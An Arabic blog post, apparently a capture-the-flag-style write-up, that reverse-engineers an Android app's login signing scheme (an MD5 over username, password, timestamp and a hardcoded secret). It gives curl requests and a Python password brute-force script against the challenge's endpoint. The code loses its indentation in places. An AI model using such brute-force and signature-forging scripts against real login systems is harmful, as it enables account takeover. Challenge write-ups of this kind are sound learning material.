السلام عليكم
خير بداية الصلاة عليه اللهم صلي وسلم على نبينا محمد
اللهم يا معلم موسى علمني ويا مفهم سليمان فهمني
ويا مؤتي لقمان الحكمه وفصل الخطاب اتني الحكمه وفصل الخطاب
اللهم إني أسألك فهم النبيين، و حفظ المرسلين
اول مقال لي ان شاء الله ينال على الاعجاب
راح نحل تحدي صالح
https://twitter.com/0xHunter/status/1307424269153034242
المطلوب عمل سكربت تخمين لتسجيل الدخول باي لغه انا راح استخدم البايثون
نحمل التطبيق ونسوي له تحليل او هندسه عكسيه باستخدام اداة jadx gui او اي اداة تسوي لك decompile
بنحصل كلاس بالاسم LoginActivity
راح نلاحظ رابط لتسجيل الدخول
https://www.see-me.info/0xhunter/signin.php والمتغيرات username,password,timestamp,sign
نجرب نعطي كل متغير قيمة ,متغير الtimestamp راح يكون بالtimestamp والsign غير معلومه بكذا راح اتركها فاضية وارسل الطلب اجرب
curl "https://www.see-me.info/0xhunter/signin.php?username=testd&password=test×tamp=1600626788&sign=dd"
الرد من السيرفر
{"status":false,"message":"Nice try :)"}
فيه اشكالية لان الرد لازم يكون احدى الامرين يا login successfully او invalid credentials #راجع الصورة السطر 68-72
خلونا نشوف قيمة الsign كيف نقدر نجيبها نرجع للكلاس #راجع الصورة السطر 44-49
بنلاحظ انه ياخذ
username+password+timestamp+YouCaughtMe ويسوي لها هاشينق بالmd5
نجرب
- username=admin
- password=12345
- timestamp=1600626788
- YouCaughtMe
admin123451600626788YouCaughtMe
اسويلها هاشينق بالmd5 راح يطلع معي cf916ddc2299e89c4d35f3e7a0368d4f هذي راح تكون قيمة الsign
نجرب نرسل مع تعويض كل قيمه فالمتغير
curl "https://www.see-me.info/0xhunter/signin.php?username=admin&password=12345×tamp=1600626788&sign=cf916ddc2299e89c4d35f3e7a0368d4f"
الرد من السيرفر
{"status":false,"message":"invalid credentials"}
تمام تغير الرد عن الرد السابق مما يعني ان الطريقة ناجحة الغلط اما اسم المستخدم ام الباسورد الان عرفنا الحل يتم تشفير قيم التغيرات بالmd5 ويتم ارسالها مع الطلب
نبرمج بالبايثون سكربت يقوم بالعملية\
import requests
import time
import hashlib
username = "test"
password = open("ss.txt").read().splitlines()
time = int(round(time.time() * 1000))
secret = "YouCaughtMe"
for gg in password:
sign = hashlib.md5(str(username)+str(gg)+str(time)+str(secret)).hexdigest()
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0)','Host': 'www.see-me.info'}
brute_force = requests.get("https://www.see-me.info/0xhunter/signin.php?username="+str(username)+"&password="+str(gg)+"×tamp="+str(time)+"&sign="+str(sign)+"", headers=headers)
#print(brute_force.content)
if "login successfully" in brute_force.content:
print("cool password is "+gg+"")
elif "invalid credentials" in brute_force.content:
print("password "+gg+" incorrect")
else:
print('somthing wrong')
استخدمنا ثلاث مكتبات
عينا قيمة لاسم المستخدم باسم test
استخدمنا for من اجل عمل loop على عدد الاسطر في الملف ss.txt
داخل الloop مع كل عملية ارسال طلب يتم تشفير القيم بالmd5
فالنهاية شرط يتحقق من الرد من السيرفر
وبكذا عملت سكربت تخمين اذا فهمت الية عمل الموقع بامكانك تخطي الحماية اياً كانت
ان شاء الله يكون الشرح واضح ومفهوم …
وفالختام إن أحسنت فمن الله، وإن أسأت أو أخطأت فمن نفسي والشيطان
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !